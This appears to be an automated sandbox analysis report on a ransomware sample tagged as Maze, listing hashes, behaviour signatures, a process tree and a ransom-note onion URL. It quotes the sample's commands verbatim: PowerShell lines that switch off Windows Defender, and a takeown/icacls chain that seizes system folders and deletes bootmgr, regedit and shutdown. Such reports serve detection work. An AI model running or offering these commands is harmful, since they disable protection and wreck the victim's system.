Analysis
-
max time kernel
173s -
max time network
195s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
20-09-2022 05:03
Static task
static1
Behavioral task
behavioral1
Sample
UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe
Resource
win7-20220812-en
General
-
Target
UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe
-
Size
4.4MB
-
MD5
a83040b851cf14288d3262d2bd4460fc
-
SHA1
bac8269c66d5b0ca2c5487eb3366c910c99a67e1
-
SHA256
ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1
-
SHA512
89848ac37b274bcdf55cbba3b0dd46013de75563a95ed197d42269a2c1c3c2f62c935f24e8db2a912d5cbfd808575dff12d9141eaea3b103cc4bb7707b1cda8e
-
SSDEEP
98304:6MNbfTJlGuc3B57vYT8A7X27aKc736CtbL8RdwZkid1W5:nN7tvcjUT8A7X219uKdw2B
Malware Config
Extracted
C:\DECRYPT-FILES.TXT
http://mail2tor2zyjdctd.onion/
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/3176-132-0x0000000000530000-0x00000000009A6000-memory.dmp disable_win_def -
Maze
Ransomware family also known as ChaCha.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ VSSVC.exe -
Disables Task Manager via registry modification
-
Executes dropped EXE 1 IoCs
pid Process 4664 VSSVC.exe -
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\CloseMove.png => C:\Users\Admin\Pictures\CloseMove.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\JoinAssert.crw => C:\Users\Admin\Pictures\JoinAssert.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\OutRedo.png => C:\Users\Admin\Pictures\OutRedo.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\RevokeProtect.png => C:\Users\Admin\Pictures\RevokeProtect.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\SendTrace.png => C:\Users\Admin\Pictures\SendTrace.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\SetDisconnect.png => C:\Users\Admin\Pictures\SetDisconnect.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe -
Possible privilege escalation attempt 5 IoCs
pid Process 2888 takeown.exe 424 icacls.exe 4988 takeown.exe 3868 icacls.exe 2184 takeown.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion VSSVC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion VSSVC.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation VSSVC.exe -
Modifies file permissions 1 TTPs 5 IoCs
pid Process 2888 takeown.exe 424 icacls.exe 4988 takeown.exe 3868 icacls.exe 2184 takeown.exe -
resource yara_rule behavioral2/files/0x000500000001daff-140.dat themida behavioral2/files/0x000500000001daff-141.dat themida behavioral2/memory/4664-151-0x0000000000530000-0x0000000000DA4000-memory.dmp themida behavioral2/memory/4664-157-0x0000000000530000-0x0000000000DA4000-memory.dmp themida -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA VSSVC.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 4664 VSSVC.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4216 powershell.exe 1772 powershell.exe 4216 powershell.exe 4480 powershell.exe 3928 powershell.exe 4480 powershell.exe 1772 powershell.exe 3928 powershell.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe Token: SeDebugPrivilege 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe Token: SeDebugPrivilege 4216 powershell.exe Token: SeDebugPrivilege 1772 powershell.exe Token: SeDebugPrivilege 4480 powershell.exe Token: SeDebugPrivilege 3928 powershell.exe Token: SeDebugPrivilege 4664 VSSVC.exe Token: SeDebugPrivilege 4664 VSSVC.exe Token: SeTakeOwnershipPrivilege 2888 takeown.exe Token: SeTakeOwnershipPrivilege 4988 takeown.exe Token: SeTakeOwnershipPrivilege 2184 takeown.exe -
Suspicious use of WriteProcessMemory 29 IoCs
description pid Process procid_target PID 3176 wrote to memory of 4216 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 81 PID 3176 wrote to memory of 4216 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 81 PID 3176 wrote to memory of 1772 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 83 PID 3176 wrote to memory of 1772 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 83 PID 3176 wrote to memory of 4480 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 85 PID 3176 wrote to memory of 4480 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 85 PID 3176 wrote to memory of 3928 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 86 PID 3176 wrote to memory of 3928 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 86 PID 3176 wrote to memory of 4664 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 89 PID 3176 wrote to memory of 4664 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 89 PID 3176 wrote to memory of 4664 3176 UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe 89 PID 4664 wrote to memory of 4324 4664 VSSVC.exe 98 PID 4664 wrote to memory of 4324 4664 VSSVC.exe 98 PID 4664 wrote to memory of 4324 4664 VSSVC.exe 98 PID 4324 wrote to memory of 2888 4324 cmd.exe 100 PID 4324 wrote to memory of 2888 4324 cmd.exe 100 PID 4324 wrote to memory of 2888 4324 cmd.exe 100 PID 4324 wrote to memory of 424 4324 cmd.exe 101 PID 4324 wrote to memory of 424 4324 cmd.exe 101 PID 4324 wrote to memory of 424 4324 cmd.exe 101 PID 4324 wrote to memory of 4988 4324 cmd.exe 102 PID 4324 wrote to memory of 4988 4324 cmd.exe 102 PID 4324 wrote to memory of 4988 4324 cmd.exe 102 PID 4324 wrote to memory of 3868 4324 cmd.exe 103 PID 4324 wrote to memory of 3868 4324 cmd.exe 103 PID 4324 wrote to memory of 3868 4324 cmd.exe 103 PID 4324 wrote to memory of 2184 4324 cmd.exe 104 PID 4324 wrote to memory of 2184 4324 cmd.exe 104 PID 4324 wrote to memory of 2184 4324 cmd.exe 104
Processes
-
C:\Users\Admin\AppData\Local\Temp\UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe"C:\Users\Admin\AppData\Local\Temp\UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4216
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4480
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3928
-
-
C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Modifies extensions of user files
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4664 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit3⤵
- Suspicious use of WriteProcessMemory
PID:4324 -
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System324⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2888
-
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32 /grant Admin:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:424
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\drivers4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4988
-
-
C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\drivers /grant Admin:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3868
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\LogonUI.exe4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2184
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
Filesize
944B
MD5cadef9abd087803c630df65264a6c81c
SHA1babbf3636c347c8727c35f3eef2ee643dbcc4bd2
SHA256cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
SHA5127278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085
-
Filesize
944B
MD5cadef9abd087803c630df65264a6c81c
SHA1babbf3636c347c8727c35f3eef2ee643dbcc4bd2
SHA256cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
SHA5127278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085
-
Filesize
944B
MD5e243a38635ff9a06c87c2a61a2200656
SHA1ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc
SHA256af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f
SHA5124418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4
-
Filesize
3.1MB
MD5e4f24d91d8e7290ffd6afc8aa01c6d63
SHA1b552c6af33cc5a62379028687924406cba8ff74d
SHA2565eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb
SHA512ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00
-
Filesize
3.1MB
MD5e4f24d91d8e7290ffd6afc8aa01c6d63
SHA1b552c6af33cc5a62379028687924406cba8ff74d
SHA2565eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb
SHA512ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00